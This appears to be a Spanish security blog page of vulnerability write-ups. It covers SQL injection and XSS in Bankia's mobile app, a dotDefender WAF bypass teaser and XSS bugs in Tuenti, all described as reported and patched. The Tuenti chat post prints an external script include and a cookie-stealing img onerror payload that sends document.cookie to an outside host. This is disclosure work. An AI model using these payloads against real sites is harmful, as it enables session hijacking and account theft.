Análisis de APPs: Vulnerabilidades en Bankia

Cada día el número de aplicaciones que precisan almacenar algún tipo de dato en la nube, o que necesitan obtener la información o el contenido de la aplicación a través de un endpoint aumenta considerablemente. En la mayoría de ocasiones, estas aplicaciones han pasado meticulosos controles de calidad y seguridad (o así debería ser), pero a los endpoints no se les suele dar la misma importancia, por lo que un atacante podría encontrarse alguna puerta medio abierta que le podría permitir comprometer el servidor en cuestión y por ejemplo, obtener información sensible que puede ser muy beneficiosa para él (por ejemplo una BD).

Es usual encontrar servidores endpoint vulnerables cuando el desarrollador de la aplicación es una única persona en su casa, haciéndolo por hobby o por sacarse un pequeño sobresueldo a base de publicidad, o en menor medida, de ventas de la app, y tiene su parte de lógica ya que salvo casos excepcionales, este tipo de aplicaciones no pasan los controles de calidad y seguridad que se mencionaban antes. Sin embargo, estos fallos también se encuentran en aplicaciones de mayor envergadura las cuales tienen un equipo de desarrollo detrás, que junto a las pruebas de seguridad, deberían garantizar la seguridad de los usuarios y de los datos almacenados en sus propios servidores, y esto ya no tiene tanta lógica.

Hace unos días empecé a testear las apps bancarias a las cuales tengo acceso, empezando por Bankia. Esta aplicación nos ofrece una oficina virtual para realizar prácticamente cualquier tipo de gestión que podríamos realizar a través de la propia web, accediendo para ello a una API alojada en "m.bankia.es". Las peticiones relacionadas con la sesión del usuario viajan siempre por HTTPS, pero para obtener contenido estándar (noticias, productos, últimos tweets, etc), los datos se envían y reciben a través de texto plano (HTTP).

Al ver las peticiones que viajaban a través de HTTP (del estilo "contenido.json?id=XXX", casi por inercia metí una comilla, por si acaso. En la primera prueba no salió nada, pero en la segunda, me quedé sorprendido al ver lo siguiente:

Una Blind SQL Injection de manual, sin ningún tipo de filtro o protección, ni un triste WAF en el servidor. No se a ciencia cierta hasta que punto podría llegar a comprometer los datos almacenados en la DB, ni la confidencialidad de estos.

Siguiendo con el pequeño análisis de los endpoints, vi que el acceso al portal de la Bolsa era simplemente un WebView que mostraba la URL "http://asp.infobolsanet.com/BankiaMobile/".
En esta web tan solo hay una página ("Default.aspx") que se encarga de mostrar el resto del contenido en base al valor de los parámetros "PageID, key, source, date", y el que nos interesa: "SessionID", el cual no filtra correctamente el contenido y provoca una vulnerabilidad de XSS reflejado:

Esto en principio no representa una vulnerabilidad en la aplicación como tal (recordemos que estos datos viajan a través de HTTP, por lo que un atacante podría modificar la respuesta que el servidor manda al usuario legítimo sin necesidad de ninguna vulnerabilidad más), pero podría facilitar mucho más un ataque de, por ejemplo, phising, solicitando al usuario legítimo sus datos personales, todo esto sin salir de la propia app, sin ver la URL y sin ver a donde se están enviando esos datos.

Como curiosidad, otra de las cosas que se pueden encontrar en el código fuente es una clase llamada "TrustAllSSLFactory.class", cuya función es evadir la comprobación de que el certificado SSL del endpoint es válido, y permitiría a un atacante utilizar un certificado self-signed, viendo así todos los datos sensibles del usuario (DNI, clave, números de tarjeta, transacciones, etc). Sin embargo, por lo que he podido ver y en las pruebas que he realizado, la aplicación ya no hace uso de esta clase, y comprueba satisfactoriamente que el certificado SSL sea correcto (pero si está ahí, será por que en algún momento se ha utilizado, ¿no? ;) ).

Esto lo he encontrado haciendo un análisis muy superficial de la aplicación, sin ser ningún experto en este tema, por lo que un usuario malintencionado con suficientes conocimientos podría llegar muy lejos con estos fallos (o incluso ya podría haber llegado).

Las vulnerabilidades fueron notificadas en su momento, y a día de hoy, se encuentran correctamente parcheadas.

Leer mas...


Bypass XSS filter dotDefender

Hace unos días que trasteo con el WAF de dotDefender para conseguir saltarlo y tal. En uno de esos momentos que te encuentras cara a cara con el queridísimo mensaje "dotDefender Blocked Your Request", ahí­ en ese preciso instante empieza la guerra entre el y yo.

Leer mas...


Bug XSS en Tuenti (II)

Hola amigos!

Con la cosa del XSS de ayer en Tuenti, nos topamos con un par de fallitos más, y aquí os los mostramos ;D

Esta vez el bug tal vez sea más peligroso que el anterior. El anterior afectaba a la persona que tú eligieras en el Chat; bien, pues este afecta a todos los amigos que tengas agregados, ya que se basa en las Novedades que aparecen en Inicio:

 

El diseño de las Novedades fue cambiado algo antes que el del chat si mal no recuerdo. Esta "mejora" que implementaron consistía en que en Novedades aparecía más información, y un par de formularios desde donde podías comentar directamente estados, fotos, etc.

Además, si pones el link de una foto de estado (sólo sirve con las subidas en Tuenti) se reemplaza la URL por el título que le hayas puesto a la foto, y en Novedades sale una miniatura de la misma.

El bug es simple, cerramos el atributo phototitle, cerramos la etiqueta, insertamos código y volvemos a abrir la etiqueta como si nada hubiera pasado ;D

Un saludo a todos, y feliz año! :)

Leer mas...


Bug XSS en Tuenti (I)

Hola amigos!

Aprovechamos las vacaciones para retomar el blog, y lo intentamos hacer con algo interesante ^^

Hace unos días la red social Tuenti nos deleitaba con un nuevo diseño de chat, con nuevos iconos y nuevas funcionalidades como la de Conversaciones recientes. ¿Qué pasa con las cosas nuevas? Al principio siempre tienen algún fallito ;D

Un día, aburrido, nuestro amigo @JKS___ empezó a probar cosas, y se topó con algo interesante.

Si colocamos el cursor encima de una conversación reciente, nos aparece el último mensaje. ¿Qué pasa si enviamos código por el chat? ¡Bingo! Al pasar el cursor por encima se ejecuta:

Comprobango bug

A partir de aquí tenemos un XSS que se ejecuta a la vez en el navegador atacante y el atacado. Lo primero que se nos ocurrió fue lo más sencillo, ya que había una restricción de X caracteres máximos, intentamos incluir un archivo .js externo.

El problema era que el chat detecta URL y se parseaba esa parte, pero sólo el protocolo HTTP, así que con un FTP abierto se podría jugar, algo como:

<script src="ftp://ka0labs.org/virus.js">
Lo que faltaba era que el código javascript no se ejecutaba directamente, había que hacer mano de los eventos.

La investigación termina robando cookies con una redirección del estilo:

</ul><img onerror="location.href='ftp://ka0labs.org/robacookies.php?cookie='+document.cookie" src=""/>

El fallo fue reportado ayer, y hoy jueves ya está parcheado :P

Saludos! :) @xassiz @ca0s_ @kr0no_ @JKS___ @0verflowInside

Leer mas...


Página 1 de 1